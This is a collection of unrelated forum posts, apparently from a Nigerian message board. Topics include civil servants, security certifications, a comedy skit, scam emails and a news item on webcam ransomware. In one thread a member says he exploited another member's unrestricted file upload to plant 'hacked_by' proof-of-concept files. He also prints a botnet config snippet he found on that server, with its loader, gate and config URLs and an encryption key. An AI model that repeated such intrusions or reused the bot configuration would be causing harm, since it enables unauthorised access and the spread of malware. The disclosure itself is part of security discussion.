Four times out of five, these civil servants are by far the rudest, most unkind and officious civil servants that I have seen in my life. It is like they have been inoculated with a meanness vaccine.

Once you're a civil servant, you have to work harder to get fired than to do your job to stay employed. Their positions are are quite secure and in order to get fired, one would have to commit an extremely serious offense. . .being merely rude to a citizen who needs help apparently does not qualify as a "serious offense". . .Most of these civil servants realize this and apparently enjoy taking advantage of their perceived "power".

Seun made a valid point!

In addition,

The crop of computer science students we have now, entered university with the mindset that after 4years, they'll automatically become "Gurus" in the field. .After 4years, they'll come out unemployable and then blame their lecturers for teaching them just Fortran & Pascal (as applicable in most Nigerian Unis). .

If you really want to stay relevant in the CS field (after Uni that is), you need to specialize as early as possible (in your sophomore year). .be it Security, Graphics, Artificial Intelligence, Computer architecture, programming, DBMS, etc. .

Good one

Click on your profile and go through your topics. .I guess what you are looking for is this https://www.nairaland.com/1430075/need-free-ecommerce-website . .Such threads should be posted in the web market child board. Cheers.

^^^ I know what I'm saying bro. .I did CEH some years back. .

CEH focus more on theoretical methodologies as against the needed hands on training leaving the students with little or no technical abilities.

Like I mentioned earlier, you should either go for eLearnsecurity's Web Application Penetration Testing or GIAC Web Application Penetration Tester (GWAPT)

GraphicsPlus: @Slyr0x, by the way, i will be through with CEH by next month. I will try to hack your website.

Hahahaha. .CEH? Of all courses? You should do OSCP, GIAC GWAPT or eCPPT and get your hands real dirty. .CEH is a waste of time, money, resource, energy, etc. .

About hacking my website, feel free. . . .One thing I've realised over time is this: Any website can get hacked. .Be it google, yahoo, gmail, facebook, hotmail, microsoft, paypal, etc. .

If my site gets hacked today, I'll do a root-cause-analysis, find the entry points, try to fix them and re-upload. .Life goes on after that. .

^^^

Young man. .Calm your nerves!

You asked for reviews/comments/criticisms; the entry point for me wasn't the at the server level, but at the web application level.

Your scripts allow malicious users to upload just ANY files - be it .exe, .gif, .jpg, .txt, .png, .msi, . . .

The .txt file I uploaded was just a P.O.C. (Proof Of Concept) and nothing else. .2 clicks and you'll delete them. .

Next time, you shouldn't request for a review on a public forum if you've got a bloated ego.

Cheers.

http://web.zlassociates.com/hacked_by_slyr0x.txt
http://zlassociates.com/includes/hacked_by_slyr0x.txt

^^^
(1)You need to validate user inputs i.e. what goes into the server
(2) I was crawling through your server and discovered your site serves as a Bot Host . .Ionno if you are aware of this. .If you aren't, check the [img] directory in your root folder. .

Below is a snippet of the bot's config

;Build time: 22:38:59 11.03.2011 GMT
;Version: 2.0.8.9

entry "StaticConfig"
;botnet "btn1"
timer_config 60 1
timer_logs 1 1
timer_stats 20 1
url_config "http://zlassociates.com/xxxxx/config.bin"
remove_certs 1
disable_tcpserver 0
encryption_key "asasasa!@#ASAd"
end

entry "DynamicConfig"
url_loader "http://zlassociates.com/xxxxx/bot.exe"
url_server "http://zlassociates.com/xxxxx/gate.php"
file_webinjects "webinjects.txt"
entry "AdvancedConfigs"
;"http://advdomain/cfg.bin"
end

[img]http://4.bp..com/-8HSeSmSGj4c/UerkKCFjtkI/AAAAAAAAX6o/eD4hrD4ii9U/s1600/945173_566050353433696_29190683_n.jpg[/img]

Funnyman Bovi is at it again in this new video, The Proposal, which is a spoof of Peter Okoye’s (P-Square) proposal to Lola Omotayo with a range rover and is supposed to be some sort of promo for his upcoming show.

This time around the joke is on him after he worked hard on his knees to earn a slap from his “long time girlfriend” Ijeoma who assumed Bovi was going to pop the question. The skit is a little bit funny, however it’s not funny enough to make you want to hit replay.

Check it out…


https://www.youtube.com/watch?v=bn22obWuGBc

Hello,

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God bless you.

So I got this mail and the first thing I said was "In 2013?? Do people fall for these cheap scams??"

Let me know your thoughts. .Do people still fall for these?

We do not support this.

Post your contents here and then reference the source

This happens everytime in lagos

I use my token every time I get asked to enter my OTP and it works. .

Go ahead and mention them. .

Perhaps, it'll help resolve the issues faster

Need to ask my dead great great grandfather where he hid the family's wealth . .How do I go about it?

Javanian: i doubt a web cam is smart enough to capture an 'XL underpants'

Not when your laptop is on your laps

[img]http://2.bp..com/-fePBpfaNQMQ/UhGECCmsiMI/AAAAAAAAJ8M/GU6g2k6nIYE/s1600/ransomware-tricks-users.jpg[/img]

A New Ransomware that poses as Australian Federal Police attempts to turn on the webcams of people watching porn and captures images of them.

Once the image of the user is captured, the malware locks the desktop and shows a warning message saying that "they have breached federal laws relating to child pornography, copyright or privacy".

The warning message includes the image of the victim. This will certainly horrify the victims.

According to WAToday report, the victims are then told to pay a ransom of $100 to $199 within 72 hours. The malware claims that if they failed to, the data in their disk will be wiped.

http://www.ehackingnews.com/2013/08/cybercriminals-capture-images-of-people.html